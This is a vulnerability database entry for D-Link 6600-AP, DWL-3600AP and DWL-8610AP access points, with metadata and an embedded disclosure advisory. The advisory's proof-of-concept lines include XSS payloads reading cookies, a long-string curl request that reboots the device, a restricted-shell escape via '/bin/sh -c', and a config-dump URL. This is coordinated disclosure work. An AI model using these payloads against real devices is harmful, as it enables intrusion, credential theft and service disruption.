VAR-201908-0912
Vulnerability from variot - Updated: 2023-12-18 12:50An issue was discovered on D-Link 6600-AP, DWL-3600AP, and DWL-8610AP Ax 4.2.0.14 21/03/2019 devices. There is post-authenticated Certificate and RSA Private Key extraction through an insecure sslcert-get.cgi HTTP command. D-Link 6600-AP , DWL-3600AP , DWL-8610AP Devices have a certificate validation vulnerability.Information may be obtained. The D-Link 6600-AP is a wireless access point device from D-Link of Taiwan. A security vulnerability exists in the D-Link 6600-AP, DWL-3600AP, and DWL-8610AP. D-Link 6600-AP, etc. # Security Advisory - 22/07/2019
Multiple vulnerabilities found in the D-Link 6600-AP device running
the latest firmware (version 4.2.0.14). D-Link 6600-AP is not produced anymore but the support is still provided by D-Link as per described on the D-Link website. Not that this product is built for business customers of D-Link and we can expect to have thousands of devices at risk. Code base shared with DWL-3600AP and DWL-8610AP
This advisory is sent to D-Link the 22/05/2019
Many Thanks to the D-Link Security Team for their prompt reactivity!
Affected Product
D-Link 6600-AP, DWL-3600AP + Vulnerability number 2 affects also DWL-8610AP
Firmware version
4.2.0.14 Revision Ax date: 21/03/2019
Last version available
https://eu.dlink.com/uk/en/products/dwl-6600ap-unified-wireless-n-simultaneous-dual-band-poe-access-point
Product Identifier
WLAN-EAP
Hardware Version
A2
Manufacturer
D-LINK
Product Description
The DWL-6600AP is designed to be the best-in-class indoor Access Point for business environments. With high data transmission speeds, load balancing features, it can be deployed as a standalone wireless Access Point or used as the foundation for a managed wireless network. Source: https://eu.dlink.com/uk/en/products/dwl-6600ap-unified-wireless-n-simultaneous-dual-band-poe-access-point
List of Vulnerabilities
- CVE-2019-14338 - Post-authenticated XSS
- CVE-2019-14333 - Pre-authenticated Denial of service leading to the reboot of the AP
- CVE-2019-14337 - Escape shell in the restricted command line interface
- CVE-2019-14335 - Post-authenticated Denial of service leading to the reboot of the AP
- CVE-2019-14336 - Post-authenticated Dump all the config files (post-auth)
- CVE-2019-14332 - Use of weak ciphers for SSH
1. Post-authenticated XSS
Exploitation: Local
Severity Level: High
CVE ID : CVE-2019-14338
Proof-of concept
Example 1: http://10.90.90.91/admin.cgi?action=alert(document.cookie)
Example 2: http://10.90.90.91/admin.cgi?action=+guestalert('Pwned')
2. Pre-authenticated Denial of service leading to the reboot of the AP
Exploitation: Local
Severity Level: High
CVE ID: CVE-2019-14333
Proof-of concept
kali# curl -X POST 'http://10.90.90.91/admin.cgi?action=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4. Escape shell in the restricted command line interface
Exploitation: Local
Severity Level: High
CVE ID : CVE-2019-14337
Proof-of concept
DLINK-WLAN-AP# wget
Invalid command.
DLINK-WLAN-AP# /bin/sh -c wget
BusyBox v1.18.2 (2019-01-24 14:39:11 IST) multi-call binary.
Usage: wget [-c|--continue] [-s|--spider] [-q|--quiet]
[-O|--output-document FILE]
[--header 'header: value'] [-Y|--proxy on/off] [-P DIR]
[--no-check-certificate] [-U|--user-agent AGENT][-T SEC] URL
Retrieve files via HTTP or FTP
Options: -s Spider mode - only check file existence -c Continue retrieval of aborted transfer -q Quiet -P DIR Save to DIR (default .) -T SEC Network read timeout is SEC seconds -O FILE Save to FILE ('-' for stdout) -U STR Use STR for User-Agent header -Y Use proxy ('on' or 'off')
DLINK-WLAN-AP#
5. Post-authenticated Denial of service leading to the reboot of the AP
Exploitation: Local
Severity Level: High
CVE ID : CVE-2019-14335
Proof-of concept
http://10.90.90.91/admin.cgi?action=%s
6. Post-authenticated Dump all the config files
Exploitation: Local
Severity Level: High
CVE ID : CVE-2019-14336
Proof-of concept
http://10.90.90.91/admin.cgi?action=
7. Use of weak ciphers
Exploitation: Local
Severity Level: High
CVE ID : CVE-2019-14332
Proof-of concept
root@kali:~# ssh -l admin 10.90.90.91 -oKexAlgorithms=diffie-hellman-group1-sha1 The authenticity of host '10.90.90.91 (10.90.90.91)' can't be established. RSA key fingerprint is SHA256:X8FPwxBpaDJq77gKs/HxggThGUIXWH4nu6tukuW6PGI. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.90.90.91' (RSA) to the list of known hosts. admin@10.90.90.91's password: Enter 'help' for help.
DLINK-WLAN-AP# help
Report Timeline
22/05/2019 : This advisory is sent to D-Link - the contents of this Report will be made public within 30 days. 22/06/2019 : Public release of the security advisory to mailing list
Fixes/Updates
ftp://ftp2.dlink.com/PRODUCTS/DWL-3600AP/REVA/DWL-3600AP_REVA_FIRMWARE_v4.2.0.15.zip ftp://ftp2.dlink.com/PRODUCTS/DWL-6600AP/REVA/DWL-6600AP_REVA_FIRMWARE_v4.2.0.15.zip
About me - pwn.sandstorm@gmail.com
Independent EMSecurity Researcher in the field of IoT under the Sun
Always open to hack and share
Greetings - Ack P. Kim and others for the online resources
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201908-0912",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dwl-8610ap",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "4.2.0.14"
},
{
"model": "dwl-3600ap",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "4.2.0.14"
},
{
"model": "6600-ap",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "4.2.0.14"
},
{
"model": "d-link 6600-ap",
"scope": "eq",
"trust": 0.8,
"vendor": "d link",
"version": "4.2.0.14"
},
{
"model": "dwl-3600ap",
"scope": "eq",
"trust": 0.8,
"vendor": "d link",
"version": "4.2.0.14"
},
{
"model": "dwl-8610ap",
"scope": "eq",
"trust": 0.8,
"vendor": "d link",
"version": "4.2.0.14"
},
{
"model": "6600-ap",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dwl-3600ap",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dwl-8610ap",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"db": "NVD",
"id": "CVE-2019-14334"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:dlink:6600-ap_firmware:4.2.0.14:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:dlink:6600-ap:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:dlink:dwl-3600ap_firmware:4.2.0.14:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:dlink:dwl-3600ap:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:dlink:dwl-8610ap_firmware:4.2.0.14:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:dlink:dwl-8610ap:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2019-14334"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Sandstorm Security",
"sources": [
{
"db": "PACKETSTORM",
"id": "153840"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
],
"trust": 0.7
},
"cve": "CVE-2019-14334",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 2.1,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 3.9,
"impactScore": 2.9,
"integrityImpact": "NONE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "LOW",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Local",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 2.1,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2019-14334",
"impactScore": null,
"integrityImpact": "None",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Low",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 2.1,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 3.9,
"id": "CNVD-2019-29149",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "LOW",
"trust": 0.6,
"vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 2.1,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 3.9,
"id": "VHN-146270",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "LOW",
"trust": 0.1,
"vectorString": "AV:L/AC:L/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Local",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 5.5,
"baseSeverity": "Medium",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2019-14334",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "Low",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2019-14334",
"trust": 1.8,
"value": "MEDIUM"
},
{
"author": "CNVD",
"id": "CNVD-2019-29149",
"trust": 0.6,
"value": "LOW"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-1635",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-146270",
"trust": 0.1,
"value": "LOW"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"db": "VULHUB",
"id": "VHN-146270"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"db": "NVD",
"id": "CVE-2019-14334"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link 6600-AP, DWL-3600AP, and DWL-8610AP Ax 4.2.0.14 21/03/2019 devices. There is post-authenticated Certificate and RSA Private Key extraction through an insecure sslcert-get.cgi HTTP command. D-Link 6600-AP , DWL-3600AP , DWL-8610AP Devices have a certificate validation vulnerability.Information may be obtained. The D-Link 6600-AP is a wireless access point device from D-Link of Taiwan. A security vulnerability exists in the D-Link 6600-AP, DWL-3600AP, and DWL-8610AP. D-Link 6600-AP, etc. # Security Advisory - 22/07/2019\n\n## Multiple vulnerabilities found in the D-Link 6600-AP device running\nthe latest firmware (version 4.2.0.14). D-Link 6600-AP is not produced\nanymore but the support is still provided by D-Link as per described\non the D-Link website. Not that this product is built for business\ncustomers of D-Link and we can expect to have thousands of devices at\nrisk. Code base shared with DWL-3600AP and DWL-8610AP\n\n### This advisory is sent to D-Link the 22/05/2019\nMany Thanks to the D-Link Security Team for their prompt reactivity!\n\n### Affected Product\nD-Link 6600-AP, DWL-3600AP + Vulnerability number 2 affects also DWL-8610AP\n\n### Firmware version\n4.2.0.14 Revision Ax date: 21/03/2019\n\n### Last version available\nhttps://eu.dlink.com/uk/en/products/dwl-6600ap-unified-wireless-n-simultaneous-dual-band-poe-access-point\n\n### Product Identifier\nWLAN-EAP\n\n### Hardware Version\nA2\n\n### Manufacturer\nD-LINK\n\n## Product Description\nThe DWL-6600AP is designed to be the best-in-class indoor Access Point\nfor business environments. With high data transmission speeds, load\nbalancing features, it can be deployed as a standalone wireless Access\nPoint or used as the foundation for a managed wireless network. \nSource: https://eu.dlink.com/uk/en/products/dwl-6600ap-unified-wireless-n-simultaneous-dual-band-poe-access-point\n\n## List of Vulnerabilities\n\n 1. CVE-2019-14338 - Post-authenticated XSS\n 2. CVE-2019-14333 - Pre-authenticated Denial of service leading to\nthe reboot of the AP\n 4. CVE-2019-14337 - Escape shell in the restricted command line interface\n 5. CVE-2019-14335 - Post-authenticated Denial of service leading to\nthe reboot of the AP\n 6. CVE-2019-14336 - Post-authenticated Dump all the config files (post-auth)\n 7. CVE-2019-14332 - Use of weak ciphers for SSH\n\n### 1. Post-authenticated XSS\n#### Exploitation: Local\n#### Severity Level: High\n#### CVE ID : CVE-2019-14338\n#### Proof-of concept\n\nExample 1: http://10.90.90.91/admin.cgi?action=\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\n\nExample 2: http://10.90.90.91/admin.cgi?action=+guest\u003cscript\u003ealert(\u0027Pwned\u0027)\u003c/script\u003e\n\n### 2. Pre-authenticated Denial of service leading to the reboot of the AP\n#### Exploitation: Local\n#### Severity Level: High\n#### CVE ID: CVE-2019-14333\n#### Proof-of concept\n kali# curl -X POST\n\u0027http://10.90.90.91/admin.cgi?action=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n### 4. Escape shell in the restricted command line interface\n#### Exploitation: Local\n#### Severity Level: High\n#### CVE ID : CVE-2019-14337\n#### Proof-of concept\n\nDLINK-WLAN-AP# wget\nInvalid command. \nDLINK-WLAN-AP# `/bin/sh -c wget`\nBusyBox v1.18.2 (2019-01-24 14:39:11 IST) multi-call binary. \nUsage: wget [-c|--continue] [-s|--spider] [-q|--quiet]\n[-O|--output-document FILE]\n [--header \u0027header: value\u0027] [-Y|--proxy on/off] [-P DIR]\n [--no-check-certificate] [-U|--user-agent AGENT][-T SEC] URL\n\nRetrieve files via HTTP or FTP\n\nOptions:\n -s Spider mode - only check file existence\n -c Continue retrieval of aborted transfer\n -q Quiet\n -P DIR Save to DIR (default .)\n -T SEC Network read timeout is SEC seconds\n -O FILE Save to FILE (\u0027-\u0027 for stdout)\n -U STR Use STR for User-Agent header\n -Y Use proxy (\u0027on\u0027 or \u0027off\u0027)\n\nDLINK-WLAN-AP#\n\n### 5. Post-authenticated Denial of service leading to the reboot of the AP\n#### Exploitation: Local\n#### Severity Level: High\n#### CVE ID : CVE-2019-14335\n#### Proof-of concept\n\nhttp://10.90.90.91/admin.cgi?action=%s\n\n### 6. Post-authenticated Dump all the config files\n#### Exploitation: Local\n#### Severity Level: High\n#### CVE ID : CVE-2019-14336\n#### Proof-of concept\n\nhttp://10.90.90.91/admin.cgi?action=\n\n### 7. Use of weak ciphers\n#### Exploitation: Local\n#### Severity Level: High\n#### CVE ID : CVE-2019-14332\n#### Proof-of concept\n\nroot@kali:~# ssh -l admin 10.90.90.91 -oKexAlgorithms=diffie-hellman-group1-sha1\nThe authenticity of host \u002710.90.90.91 (10.90.90.91)\u0027 can\u0027t be established. \nRSA key fingerprint is SHA256:X8FPwxBpaDJq77gKs/HxggThGUIXWH4nu6tukuW6PGI. \nAre you sure you want to continue connecting (yes/no)? yes\nWarning: Permanently added \u002710.90.90.91\u0027 (RSA) to the list of known hosts. \nadmin@10.90.90.91\u0027s password:\nEnter \u0027help\u0027 for help. \n\nDLINK-WLAN-AP# help\n\n## Report Timeline\n22/05/2019 : This advisory is sent to D-Link - the contents of this\nReport will be made public within 30 days. \n22/06/2019 : Public release of the security advisory to mailing list\n\n## Fixes/Updates\nftp://ftp2.dlink.com/PRODUCTS/DWL-3600AP/REVA/DWL-3600AP_REVA_FIRMWARE_v4.2.0.15.zip\nftp://ftp2.dlink.com/PRODUCTS/DWL-6600AP/REVA/DWL-6600AP_REVA_FIRMWARE_v4.2.0.15.zip\n\n\n## About me - pwn.sandstorm@gmail.com\n#### Independent EMSecurity Researcher in the field of IoT under the Sun\n#### Always open to hack and share\n#### Greetings - Ack P. Kim and others for the online resources\n\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2019-14334"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"db": "VULHUB",
"id": "VHN-146270"
},
{
"db": "PACKETSTORM",
"id": "153840"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2019-14334",
"trust": 3.2
},
{
"db": "PACKETSTORM",
"id": "153840",
"trust": 3.2
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-1635",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-29149",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-146270",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"db": "VULHUB",
"id": "VHN-146270"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"db": "PACKETSTORM",
"id": "153840"
},
{
"db": "NVD",
"id": "CVE-2019-14334"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
]
},
"id": "VAR-201908-0912",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"db": "VULHUB",
"id": "VHN-146270"
}
],
"trust": 1.3824786333333332
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-29149"
}
]
},
"last_update_date": "2023-12-18T12:50:09.335000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Security Advisory",
"trust": 0.8,
"url": "https://us.dlink.com/en/security-advisory"
},
{
"title": "Security Bulletin",
"trust": 0.8,
"url": "https://www.dlink.com/en/security-bulletin"
},
{
"title": "Patch for D-Link 6600-AP, DWL-3600AP, and DWL-8610AP Information Disclosure Vulnerabilities",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchinfo/show/177597"
},
{
"title": "D-Link 6600-AP , DWL-3600AP and DWL-8610AP Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=95744"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-295",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-146270"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"db": "NVD",
"id": "CVE-2019-14334"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "http://packetstormsecurity.com/files/153840/d-link-6600-ap-xss-dos-information-disclosure.html"
},
{
"trust": 1.7,
"url": "https://us.dlink.com/en/security-advisory"
},
{
"trust": 1.7,
"url": "https://www.dlink.com/en/security-bulletin"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14334"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-14334"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14336"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14332"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14335"
},
{
"trust": 0.1,
"url": "http://10.90.90.91/admin.cgi?action=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14333"
},
{
"trust": 0.1,
"url": "http://10.90.90.91/admin.cgi?action=%s"
},
{
"trust": 0.1,
"url": "http://10.90.90.91/admin.cgi?action=+guest\u003cscript\u003ealert(\u0027pwned\u0027)\u003c/script\u003e"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14337"
},
{
"trust": 0.1,
"url": "http://10.90.90.91/admin.cgi?action=\u003cscript\u003ealert(document.cookie)\u003c/script\u003e"
},
{
"trust": 0.1,
"url": "http://10.90.90.91/sslcert-get.cgi?"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14338"
},
{
"trust": 0.1,
"url": "https://eu.dlink.com/uk/en/products/dwl-6600ap-unified-wireless-n-simultaneous-dual-band-poe-access-point"
},
{
"trust": 0.1,
"url": "http://10.90.90.91/admin.cgi?action="
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"db": "VULHUB",
"id": "VHN-146270"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"db": "PACKETSTORM",
"id": "153840"
},
{
"db": "NVD",
"id": "CVE-2019-14334"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"db": "VULHUB",
"id": "VHN-146270"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"db": "PACKETSTORM",
"id": "153840"
},
{
"db": "NVD",
"id": "CVE-2019-14334"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-08-28T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"date": "2019-08-01T00:00:00",
"db": "VULHUB",
"id": "VHN-146270"
},
{
"date": "2019-08-06T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"date": "2019-07-31T19:01:29",
"db": "PACKETSTORM",
"id": "153840"
},
{
"date": "2019-08-01T13:15:14.100000",
"db": "NVD",
"id": "CVE-2019-14334"
},
{
"date": "2019-07-31T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-08-28T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-29149"
},
{
"date": "2019-08-05T00:00:00",
"db": "VULHUB",
"id": "VHN-146270"
},
{
"date": "2019-08-06T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-007262"
},
{
"date": "2021-04-23T17:58:42.397000",
"db": "NVD",
"id": "CVE-2019-14334"
},
{
"date": "2019-08-06T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-1635"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
